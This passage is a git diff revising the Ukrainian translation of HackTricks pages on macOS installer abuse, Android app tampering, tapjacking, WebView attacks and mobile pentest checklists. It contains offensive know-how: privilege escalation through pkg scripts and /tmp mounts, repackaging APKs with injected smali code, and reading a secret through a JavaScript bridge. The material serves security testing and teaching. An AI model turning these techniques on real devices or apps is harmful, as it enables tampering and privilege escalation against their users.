**викликатиме попередження**, якщо не зможе підтвердити, що всі вмісти безпечні або нейтральні. +- **LSRiskCategoryMayContainUnsafeExecutable**: Ця категорія призначена для файлів, таких як архіви, які можуть містити виконуваний файл. Safari **викличе попередження**, якщо не зможе підтвердити, що всі вмісти безпечні або нейтральні. ## Лог файли diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index f972e024e..0604b698f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -27,7 +27,7 @@ Щоб дослідити вміст бандла, такого як `Safari.app`, можна використовувати наступну команду: `bash ls -lR /Applications/Safari.app/Contents` -Це дослідження виявляє каталоги, такі як `_CodeSignature`, `MacOS`, `Resources`, та файли, такі як `Info.plist`, кожен з яких виконує унікальну роль від забезпечення безпеки програми до визначення її інтерфейсу користувача та операційних параметрів. +Це дослідження виявляє каталоги, такі як `_CodeSignature`, `MacOS`, `Resources`, та файли, такі як `Info.plist`, кожен з яких виконує унікальну роль, від забезпечення безпеки програми до визначення її інтерфейсу користувача та операційних параметрів. #### Additional Bundle Directories @@ -39,6 +39,6 @@ Ця структура забезпечує, що всі необхідні компоненти інкапсульовані в бандлі, що сприяє модульному та безпечному середовищу програми. -Для отримання більш детальної інформації про ключі `Info.plist` та їх значення, документація розробника Apple надає обширні ресурси: [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html). +Для отримання більш детальної інформації про ключі `Info.plist` та їх значення, документація для розробників Apple надає обширні ресурси: [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index e7b64d446..057398ad9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -47,9 +47,9 @@ cpio -i < Scripts Ієрархія файлу DMG може бути різною в залежності від вмісту. Однак для DMG додатків вона зазвичай має таку структуру: -- Верхній рівень: Це корінь образу диска. Він часто містить додаток і, можливо, посилання на папку Додатки. +- Верхній рівень: Це корінь образу диска. Він часто містить додаток і, можливо, посилання на папку Applications. - Додаток (.app): Це фактичний додаток. У macOS додаток зазвичай є пакетом, що містить багато окремих файлів і папок, які складають додаток. -- Посилання на Додатки: Це ярлик до папки Додатки в macOS. Мета цього полягає в тому, щоб спростити установку додатка. Ви можете перетягнути файл .app на цей ярлик, щоб встановити додаток. +- Посилання на додатки: Це ярлик до папки Applications у macOS. Мета цього полягає в тому, щоб спростити установку додатка. Ви можете перетягнути файл .app на цей ярлик, щоб встановити додаток. ## Підвищення привілеїв через зловживання pkg @@ -71,7 +71,7 @@ cpio -i < Scripts ### Виконання через монтування -Якщо інсталятор записує в `/tmp/fixedname/bla/bla`, можливо **створити монтування** над `/tmp/fixedname` без власників, щоб ви могли **модифікувати будь-який файл під час установки** для зловживання процесом установки. +Якщо інсталятор записує в `/tmp/fixedname/bla/bla`, можливо **створити монтування** над `/tmp/fixedname` без власників, щоб ви могли **модифікувати будь-який файл під час інсталяції** для зловживання процесом інсталяції. Прикладом цього є **CVE-2021-26089**, який зміг **перезаписати періодичний скрипт** для отримання виконання як root. Для отримання додаткової інформації перегляньте доповідь: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) @@ -79,11 +79,11 @@ cpio -i < Scripts ### Порожній вантаж -Можливо просто згенерувати **`.pkg`** файл з **скриптами перед і після установки** без будь-якого реального вантажу, окрім шкідливого ПЗ всередині скриптів. +Можливо просто згенерувати **`.pkg`** файл з **скриптами перед і після інсталяції** без будь-якого реального вантажу, окрім шкідливого ПЗ всередині скриптів. ### JS в xml розподілу -Можливо додати **` ``` -Ви можете завантажити файл на [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) або дотримуйтесь цих кроків: +Ви можете завантажити файл на [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) або дотримуватися цих кроків: 1. Відкрийте файл `index.html` у Google Chrome. diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 2fc9e55ce..c83b8180d 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -4,41 +4,41 @@ **Для отримання додаткової інформації перегляньте:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Android додатки можуть використовувати нативні бібліотеки, зазвичай написані на C або C++, для завдань, критичних до продуктивності. Творці шкідливого ПЗ також використовують ці бібліотеки, оскільки їх важче реверсувати, ніж DEX байт-код. Розділ підкреслює навички реверс-інженерії, адаптовані до Android, а не навчання мовам асемблера. Для сумісності надаються версії бібліотек для ARM та x86. +Android додатки можуть використовувати нативні бібліотеки, зазвичай написані на C або C++, для завдань, критичних до продуктивності. Творці шкідливого ПЗ також використовують ці бібліотеки, оскільки їх важче реверсувати, ніж DEX байт-код. У розділі підкреслюються навички реверс-інжинірингу, адаптовані до Android, а не навчання мовам асемблера. Для сумісності надаються версії бібліотек для ARM та x86. ### Ключові моменти: - **Нативні бібліотеки в Android додатках:** - Використовуються для завдань, що вимагають високої продуктивності. -- Написані на C або C++, що ускладнює реверс-інженерію. +- Написані на C або C++, що ускладнює реверс-інжиніринг. - Знаходяться у форматі `.so` (спільний об'єкт), подібно до бінарних файлів Linux. - Творці шкідливого ПЗ віддають перевагу нативному коду, щоб ускладнити аналіз. - **Java Native Interface (JNI) та Android NDK:** -- JNI дозволяє реалізовувати Java методи в нативному коді. +- JNI дозволяє реалізовувати методи Java в нативному коді. - NDK - це набір інструментів, специфічних для Android, для написання нативного коду. -- JNI та NDK з'єднують Java (або Kotlin) код з нативними бібліотеками. +- JNI та NDK з'єднують код Java (або Kotlin) з нативними бібліотеками. - **Завантаження та виконання бібліотек:** - Бібліотеки завантажуються в пам'ять за допомогою `System.loadLibrary` або `System.load`. - JNI_OnLoad виконується під час завантаження бібліотеки. - Нативні методи, оголошені в Java, пов'язуються з нативними функціями, що дозволяє виконання. -- **Зв'язування Java методів з нативними функціями:** +- **Зв'язування методів Java з нативними функціями:** - **Динамічне зв'язування:** Імена функцій у нативних бібліотеках відповідають певному шаблону, що дозволяє автоматичне зв'язування. - **Статичне зв'язування:** Використовує `RegisterNatives` для зв'язування, забезпечуючи гнучкість у найменуванні функцій та структурі. -- **Інструменти та техніки реверс-інженерії:** +- **Інструменти та техніки реверс-інжинірингу:** - Інструменти, такі як Ghidra та IDA Pro, допомагають аналізувати нативні бібліотеки. - `JNIEnv` є важливим для розуміння функцій та взаємодій JNI. - Надані вправи для практики завантаження бібліотек, зв'язування методів та ідентифікації нативних функцій. ### Ресурси: -- **Вивчення ARM асемблера:** +- **Вивчення ARM Assembly:** - Рекомендується для глибшого розуміння основної архітектури. -- [Основи ARM асемблера](https://azeria-labs.com/writing-arm-assembly-part-1/) від Azeria Labs рекомендовані. +- [Основи ARM Assembly](https://azeria-labs.com/writing-arm-assembly-part-1/) від Azeria Labs рекомендовано. - **Документація JNI та NDK:** - [Специфікація JNI від Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) - [Поради JNI для Android](https://developer.android.com/training/articles/perf-jni) - [Початок роботи з NDK](https://developer.android.com/ndk/guides/) - **Налагодження нативних бібліотек:** -- [Налагодження Android нативних бібліотек за допомогою JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) +- [Налагодження нативних бібліотек Android за допомогою JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index 7242d4662..04098001e 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -18,7 +18,7 @@ ```bash apktool d APP.apk ``` -Якщо **apktool** видає вам будь-яку помилку, спробуйте [встановити **остання версія**](https://ibotpeaches.github.io/Apktool/install/) +Якщо **apktool** видає будь-яку помилку, спробуйте [встановити **остання версія**](https://ibotpeaches.github.io/Apktool/install/) Деякі **цікаві файли, на які варто звернути увагу**: @@ -26,7 +26,7 @@ apktool d APP.apk - _AndroidManifest.xml_ - Будь-який файл з розширенням _.sqlite_ або _.db_ -Якщо `apktool` має **проблеми з декодуванням програми**, ознайомтеся з [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) або спробуйте використати аргумент **`-r`** (Не декодувати ресурси). Тоді, якщо проблема була в ресурсі, а не в вихідному коді, ви не матимете проблеми (також не декомпілюватимете ресурси). +Якщо `apktool` має **проблеми з декодуванням програми**, ознайомтеся з [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) або спробуйте використати аргумент **`-r`** (Не декодувати ресурси). Тоді, якщо проблема була в ресурсі, а не в вихідному коді, ви не матимете проблеми (також не буде декомпільовано ресурси). ## Зміна коду smali @@ -40,7 +40,7 @@ apktool d APP.apk ## Перекомпіляція APK -Після модифікації коду ви можете **перекомпілювати** код, використовуючи: +Після зміни коду ви можете **перекомпілювати** код, використовуючи: ```bash apktool b . #In the folder generated when you decompiled the application ``` @@ -67,11 +67,11 @@ zipalign -v 4 infile.apk ``` ### **Підпишіть новий APK (знову?)** -Якщо ви **надаєте перевагу** використовувати [**apksigner**](https://developer.android.com/studio/command-line/) замість jarsigner, **вам слід підписати apk** після застосування **оптимізації з** zipalign. АЛЕ ЗВЕРНІТЬ УВАГУ, ЩО ВИ МАЄТЕ **ПІДПИСАТИ ЗАСТОСУВАННЯ ТІЛЬКИ ОДИН РАЗ** З jarsigner (перед zipalign) АБО З aspsigner (після zipalign). +Якщо ви **надаєте перевагу** використовувати [**apksigner**](https://developer.android.com/studio/command-line/) замість jarsigner, **вам слід підписати apk** після застосування **оптимізації з** zipalign. АЛЕ ЗВЕРНІТЬ УВАГУ, ЩО ВИ МАЄТЕ **ПІДПИСАТИ ЗАСТОСУВАННЯ ОДИН РАЗ** З jarsigner (перед zipalign) АБО З aspsigner (після zipalign). ```bash apksigner sign --ks key.jks ./dist/mycompiled.apk ``` -## Модифікація Smali +## Зміна Smali Для наступного коду Hello World на Java: ```java @@ -140,16 +140,16 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin Рекомендації: - Якщо ви збираєтеся використовувати оголошені змінні всередині функції (оголошені v0,v1,v2...) помістіть ці рядки між _.local \_ та оголошеннями змінних (_const v0, 0x1_) -- Якщо ви хочете вставити код логування в середину коду функції: +- Якщо ви хочете вставити код логування в середині коду функції: - Додайте 2 до кількості оголошених змінних: Наприклад: з _.locals 10_ до _.locals 12_ - Нові змінні повинні бути наступними номерами вже оголошених змінних (в цьому прикладі повинні бути _v10_ та _v11_, пам'ятайте, що починається з v0). - Змініть код функції логування і використовуйте _v10_ та _v11_ замість _v5_ та _v1_. ### Toasting -Пам'ятайте, щоб додати 3 до кількості _.locals_ на початку функції. +Не забудьте додати 3 до кількості _.locals_ на початку функції. -Цей код підготовлений для вставки в **середину функції** (**змініть** номер **змінних** за необхідності). Він візьме **значення this.o**, **перетворить** його на **String** і потім **зробить** **toast** з його значенням. +Цей код підготовлений для вставки в **середину функції** (**змініть** номер **змінних** за необхідності). Він візьме **значення this.o**, **перетворить** його в **String** і потім **зробить** **toast** з його значенням. ```bash const/4 v10, 0x1 const/4 v11, 0x1 diff --git a/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md index c8fc14d3f..23a3d9596 100644 --- a/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md +++ b/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md @@ -1,6 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} -У ситуаціях, коли застосунок обмежений певними країнами, і ви не можете встановити його на свій Android-пристрій через регіональні обмеження, підробка вашого місцезнаходження на країну, де застосунок доступний, може надати вам доступ. Нижче наведено кроки, як це зробити: +У ситуаціях, коли застосунок обмежений для певних країн, і ви не можете встановити його на свій Android-пристрій через регіональні обмеження, підробка вашого місцезнаходження на країну, де застосунок доступний, може надати вам доступ. Нижче наведено кроки, як це зробити: 1. **Встановіть Hotspot Shield Free VPN Proxy:** diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 56e8f339d..e0ccce873 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -5,11 +5,11 @@ ## **Основна інформація** **Tapjacking** - це атака, коли **шкідлива** **додаток** запускається і **розташовується поверх додатку жертви**. Як тільки він видимо закриває додаток жертви, його інтерфейс користувача спроектований таким чином, щоб обманути користувача взаємодіяти з ним, в той час як він передає взаємодію до додатку жертви.\ -В результаті, це **осліплює користувача, не даючи йому знати, що він насправді виконує дії в додатку жертви**. +Таким чином, він **осліплює користувача, не даючи йому знати, що він насправді виконує дії в додатку жертви**. ### Виявлення -Щоб виявити додатки, вразливі до цієї атаки, ви повинні шукати **експортовані активності** в маніфесті android (зверніть увагу, що активність з intent-filter автоматично експортується за замовчуванням). Як тільки ви знайдете експортовані активності, **перевірте, чи потребують вони будь-яких дозволів**. Це пов'язано з тим, що **шкідливий додаток також потребуватиме цього дозволу**. +Щоб виявити додатки, вразливі до цієї атаки, вам слід шукати **експортовані активності** в маніфесті android (зверніть увагу, що активність з intent-filter автоматично експортується за замовчуванням). Як тільки ви знайдете експортовані активності, **перевірте, чи потребують вони будь-яких дозволів**. Це пов'язано з тим, що **шкідливий додаток також потребуватиме цього дозволу**. ### Захист @@ -39,7 +39,7 @@ android:filterTouchesWhenObscured="true"> Найбільш **остання Android програма**, що виконує атаку Tapjacking (+ виклик перед експортованою активністю атакованої програми) можна знайти за адресою: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity). -Слідкуйте за **інструкціями README для використання**. +Слідуйте **інструкціям README для використання**. ### FloatingWindowApp @@ -52,11 +52,11 @@ android:filterTouchesWhenObscured="true"> Ви можете використовувати [**qark**](https://github.com/linkedin/qark) з параметрами `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`, щоб створити шкідливу програму для перевірки можливих **Tapjacking** вразливостей.\ -Пом'якшення є відносно простим, оскільки розробник може вибрати не отримувати події дотику, коли видимість перекрита іншим. Використовуючи [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security): +Пом'якшення є відносно простим, оскільки розробник може вибрати не отримувати події дотику, коли видимість перекрита іншим. Використовуючи [Довідник розробника Android](https://developer.android.com/reference/android/view/View#security): > Іноді важливо, щоб програма могла перевірити, що дія виконується з повним усвідомленням і згодою користувача, наприклад, надання запиту на дозвіл, здійснення покупки або натискання на рекламу. На жаль, шкідлива програма може спробувати обманути користувача, змусивши його виконати ці дії, не усвідомлюючи цього, приховуючи справжню мету вигляду. Як засіб, фреймворк пропонує механізм фільтрації дотиків, який можна використовувати для підвищення безпеки виглядів, що надають доступ до чутливої функціональності. > -> Щоб увімкнути фільтрацію дотиків, викликайте [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) або встановіть атрибут макета android:filterTouchesWhenObscured в true. Коли це увімкнено, фреймворк відкине дотики, які отримуються, коли вікно вигляду перекрито іншим видимим вікном. В результаті вигляд не отримає дотики, коли над вікном вигляду з'являється toast, діалог або інше вікно. +> Щоб увімкнути фільтрацію дотиків, викликайте [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) або встановіть атрибут макета android:filterTouchesWhenObscured в true. Коли це увімкнено, фреймворк відкине дотики, які отримуються, коли вікно вигляду перекривається іншим видимим вікном. В результаті вигляд не отримає дотиків, коли над вікном вигляду з'являється toast, діалог або інше вікно. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md index 3a5a9bffe..8052a68fc 100644 --- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -31,7 +31,7 @@ #### **WebViewAssetLoader** -Клас **WebViewAssetLoader** є сучасним підходом для завантаження локальних файлів. Він використовує http(s) URL для доступу до локальних активів і ресурсів, що відповідає політиці Same-Origin, тим самим полегшуючи управління CORS. +Клас **WebViewAssetLoader** є сучасним підходом для завантаження локальних файлів. Він використовує http(s) URL для доступу до локальних активів і ресурсів, узгоджуючись з політикою Same-Origin, що полегшує управління CORS. ### loadUrl @@ -43,8 +43,8 @@ webview.loadUrl("") ### **Обробка JavaScript та Intent Scheme** -- **JavaScript**: За замовчуванням вимкнено в WebViews, його можна увімкнути за допомогою `setJavaScriptEnabled()`. Рекомендується бути обережним, оскільки увімкнення JavaScript без належних запобіжних заходів може призвести до вразливостей безпеки. -- **Intent Scheme**: WebViews можуть обробляти схему `intent`, що потенційно може призвести до експлуатації, якщо не управляти нею обережно. Приклад вразливості пов'язаний з відкритим параметром WebView "support_url", який може бути використаний для виконання атак міжсайтового скриптингу (XSS). +- **JavaScript**: За замовчуванням вимкнений у WebViews, його можна увімкнути за допомогою `setJavaScriptEnabled()`. Рекомендується бути обережним, оскільки увімкнення JavaScript без належних запобіжних заходів може призвести до вразливостей безпеки. +- **Intent Scheme**: WebViews можуть обробляти схему `intent`, що потенційно може призвести до експлуатації, якщо не управляти нею обережно. Прикладом вразливості є відкритий параметр WebView "support_url", який може бути використаний для виконання атак між сайтами (XSS). ![Vulnerable WebView](<../../images/image (1191).png>) @@ -82,7 +82,7 @@ alert(javascriptBridge.getSecret()) ### Виконання віддаленого коду на основі рефлексії (RCE) -- Документований метод дозволяє досягти RCE через рефлексію, виконуючи специфічний payload. Однак анотація `@JavascriptInterface` запобігає несанкціонованому доступу до методів, обмежуючи поверхню атаки. +- Документований метод дозволяє досягти RCE через рефлексію, виконуючи специфічний payload. Однак анотація `@JavascriptInterface` запобігає несанкціонованому доступу до методів, обмежуючи площу атаки. ### Віддалене налагодження diff --git a/src/mobile-pentesting/android-checklist.md b/src/mobile-pentesting/android-checklist.md index 41057aea7..91428d7f9 100644 --- a/src/mobile-pentesting/android-checklist.md +++ b/src/mobile-pentesting/android-checklist.md @@ -33,10 +33,10 @@ - [ ] Відкриті сервіси - [ ] Приймачі трансляцій - [ ] URL-схеми -- [ ] Чи [зберігає програма дані ненадійно всередині або зовні](android-app-pentesting/#insecure-data-storage)? +- [ ] Чи зберігає програма дані ненадійно всередині або зовні](android-app-pentesting/#insecure-data-storage)? - [ ] Чи є [пароль, закодований або збережений на диску](android-app-pentesting/#poorkeymanagementprocesses)? Чи використовує програма [ненадійні криптоалгоритми](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? - [ ] Усі бібліотеки скомпільовані з використанням прапора PIE? -- [ ] Не забувайте, що існує безліч [статичних аналізаторів Android](android-app-pentesting/#automatic-analysis), які можуть дуже допомогти на цьому етапі. +- [ ] Не забувайте, що існує безліч [статичних Android-аналітиків](android-app-pentesting/#automatic-analysis), які можуть дуже допомогти вам на цьому етапі. ### [Динамічний аналіз](android-app-pentesting/#dynamic-analysis) @@ -47,7 +47,7 @@ - [ ] [Вразливі постачальники контенту](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? - [ ] [Вразливі відкриті сервіси](android-app-pentesting/#exploiting-services)? - [ ] [Вразливі приймачі трансляцій](android-app-pentesting/#exploiting-broadcast-receivers)? -- [ ] Чи [передає програма інформацію у відкритому тексті/використовує слабкі алгоритми](android-app-pentesting/#insufficient-transport-layer-protection)? Чи можливий MitM? +- [ ] Чи передає програма [інформацію у відкритому тексті/використовує слабкі алгоритми](android-app-pentesting/#insufficient-transport-layer-protection)? Чи можливий MitM? - [ ] [Перевірте HTTP/HTTPS трафік](android-app-pentesting/#inspecting-http-traffic) - [ ] Це дійсно важливо, тому що якщо ви можете захопити HTTP-трафік, ви можете шукати загальні веб-вразливості (Hacktricks має багато інформації про веб-вразливості). - [ ] Перевірте можливі [ін'єкції на стороні клієнта Android](android-app-pentesting/#android-client-side-injections-and-others) (можливо, деякий статичний аналіз коду допоможе тут) diff --git a/src/mobile-pentesting/cordova-apps.md b/src/mobile-pentesting/cordova-apps.md index 740fcb188..7940a5205 100644 --- a/src/mobile-pentesting/cordova-apps.md +++ b/src/mobile-pentesting/cordova-apps.md @@ -4,7 +4,7 @@ **Для отримання додаткової інформації перегляньте [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Це резюме: -Apache Cordova відомий тим, що дозволяє розробку **гібридних додатків** за допомогою **JavaScript, HTML та CSS**. Він дозволяє створювати додатки для Android та iOS; однак, у нього немає механізму за замовчуванням для захисту вихідного коду додатка. На відміну від React Native, Cordova за замовчуванням не компілює вихідний код, що може призвести до вразливостей через підробку коду. Cordova використовує WebView для рендерингу додатків, що відкриває HTML та JavaScript код навіть після компіляції в APK або IPA файли. React Native, навпаки, використовує JavaScript VM для виконання JavaScript коду, що забезпечує кращий захист вихідного коду. +Apache Cordova відомий тим, що дозволяє розробку **гібридних додатків** за допомогою **JavaScript, HTML та CSS**. Він дозволяє створення додатків для Android та iOS; однак, у нього немає механізму за замовчуванням для захисту вихідного коду додатка. На відміну від React Native, Cordova за замовчуванням не компілює вихідний код, що може призвести до вразливостей через підробку коду. Cordova використовує WebView для рендерингу додатків, що відкриває HTML та JavaScript код навіть після компіляції в APK або IPA файли. React Native, навпаки, використовує JavaScript VM для виконання JavaScript коду, що забезпечує кращий захист вихідного коду. ### Клонування Cordova Додатку @@ -20,7 +20,7 @@ cd bank-new ``` Скопіюйте вміст `bank/assets/www` до `bank-new/www`, виключаючи `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` та директорію `plugins/`. -Вкажіть платформу (Android або iOS) при створенні нового проекту Cordova. Для клонування Android-додатку додайте платформу Android. Зверніть увагу, що версії платформ Cordova та рівні API Android є різними. Ознайомтеся з [документацією](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) Cordova для отримання деталей про версії платформ та підтримувані API Android. +Вкажіть платформу (Android або iOS) при створенні нового проекту Cordova. Для клонування Android-додатку додайте платформу Android. Зверніть увагу, що версії платформ Cordova та рівні API Android є різними. Ознайомтеся з документацією Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) для отримання деталей про версії платформ та підтримувані API Android. Щоб визначити відповідну версію платформи Cordova Android, перевірте `PLATFORM_VERSION_BUILD_LABEL` у файлі `cordova.js` оригінального додатку. diff --git a/src/mobile-pentesting/ios-pentesting-checklist.md b/src/mobile-pentesting/ios-pentesting-checklist.md index 6f66f0057..c8ef8cb2d 100644 --- a/src/mobile-pentesting/ios-pentesting-checklist.md +++ b/src/mobile-pentesting/ios-pentesting-checklist.md @@ -14,8 +14,8 @@ - [ ] [**Core Data**](ios-pentesting/#core-data) (база даних SQLite) може зберігати чутливу інформацію. - [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (база даних SQLite) може зберігати чутливу інформацію. - [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) неправильна конфігурація. -- [ ] [**Realm бази даних**](ios-pentesting/#realm-databases) можуть зберігати чутливу інформацію. -- [ ] [**Couchbase Lite бази даних**](ios-pentesting/#couchbase-lite-databases) можуть зберігати чутливу інформацію. +- [ ] [**Бази даних Realm**](ios-pentesting/#realm-databases) можуть зберігати чутливу інформацію. +- [ ] [**Бази даних Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) можуть зберігати чутливу інформацію. - [ ] [**Бінарні куки**](ios-pentesting/#cookies) можуть зберігати чутливу інформацію - [ ] [**Кешовані дані**](ios-pentesting/#cache) можуть зберігати чутливу інформацію - [ ] [**Автоматичні знімки**](ios-pentesting/#snapshots) можуть зберігати візуальну чутливу інформацію @@ -40,7 +40,7 @@ - [ ] Перевірте наявність чутливої інформації всередині [**пам'яті додатка**](ios-pentesting/#testing-memory-for-sensitive-data) -### **Слабка криптографія** +### **Пошкоджена криптографія** - [ ] Перевірте, чи можете ви знайти [**паролі, що використовуються для криптографії**](ios-pentesting/#broken-cryptography) - [ ] Перевірте використання [**застарілих/слабких алгоритмів**](ios-pentesting/#broken-cryptography) для відправки/зберігання чутливих даних @@ -79,11 +79,11 @@ - [ ] Перевірте, чи може webview **доступатися до локальних файлів** з протоколом **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) - [ ] Перевірте, чи може Javascript отримати доступ до **Native** **методів** (`JSContext`, `postMessage`) -### Мережеве спілкування +### Мережева комунікація -- [ ] Виконайте [**MitM для спілкування**](ios-pentesting/#network-communication) і шукайте веб-вразливості. +- [ ] Виконайте [**MitM для комунікації**](ios-pentesting/#network-communication) та шукайте веб-вразливості. - [ ] Перевірте, чи [**перевіряється ім'я хоста сертифіката**](ios-pentesting/#hostname-check) -- [ ] Перевірте/обійдіть [**Прив'язку сертифікатів**](ios-pentesting/#certificate-pinning) +- [ ] Перевірте/обійдіть [**Прив'язку сертифіката**](ios-pentesting/#certificate-pinning) ### **Різне** diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index bca7ad381..404c05e27 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -27,7 +27,7 @@ basic-ios-testing-operations.md {{#endref}} > [!NOTE] -> Для наступних кроків **додаток має бути встановлено** на пристрої і вже має бути отримано **IPA файл** додатку.\ +> Для наступних кроків **додаток має бути встановлено** на пристрої та вже має бути отримано **IPA файл** додатку.\ > Прочитайте сторінку [Основні Операції Тестування iOS](basic-ios-testing-operations.md), щоб дізнатися, як це зробити. ### Основний Статичний Аналіз @@ -50,7 +50,7 @@ otool -hv | grep PIE # Має включати прапор PIE - **Stack Canaries**: Для перевірки цілісності стеку, значення «канарки» розміщується на стеку перед викликом функції і перевіряється знову після завершення функції. ```bash -otool -I -v | grep stack_chk # Має включати символи: stack_chk_guard і stack_chk_fail +otool -I -v | grep stack_chk # Має включати символи: stack_chk_guard та stack_chk_fail ``` - **ARC (Automatic Reference Counting)**: Для запобігання поширеним помилкам корупції пам'яті @@ -168,7 +168,7 @@ ios-hooking-with-objection.md - **`_CodeSignature/`**: Цей каталог включає файл plist, який містить підпис, що забезпечує цілісність усіх файлів у бандлі. - **`Assets.car`**: Стиснутий архів, який зберігає файли активів, такі як іконки. - **`Frameworks/`**: Ця папка містить рідні бібліотеки програми, які можуть бути у формі файлів `.dylib` або `.framework`. -- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн-використання, для кешування тимчасових даних та для додавання функціональності скасування до вашого додатку на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit. +- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн-використання, для кешування тимчасових даних та для додавання функціональності скасування в вашій програмі на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Файл `PkgInfo` є альтернативним способом вказати тип і коди творця вашої програми або бандлу. - **en.lproj, fr.proj, Base.lproj**: Це мовні пакети, які містять ресурси для цих конкретних мов, а також ресурс за замовчуванням на випадок, якщо мова не підтримується. - **Безпека**: Каталог `_CodeSignature/` відіграє критичну роль у безпеці програми, перевіряючи цілісність усіх упакованих файлів через цифрові підписи. @@ -279,7 +279,7 @@ Regular 420 None ... README.txt ``` ### Бінарне реверсування -Всередині папки `.app` ви знайдете бінарний файл під назвою ``. Це файл, який буде **виконуватись**. Ви можете виконати базову перевірку бінарного файлу за допомогою інструменту **`otool`**: +Всередині папки `.app` ви знайдете бінарний файл під назвою ``. Це файл, який буде **виконуватись**. Ви можете виконати базову перевірку бінарного файлу за допомогою інструмента **`otool`**: 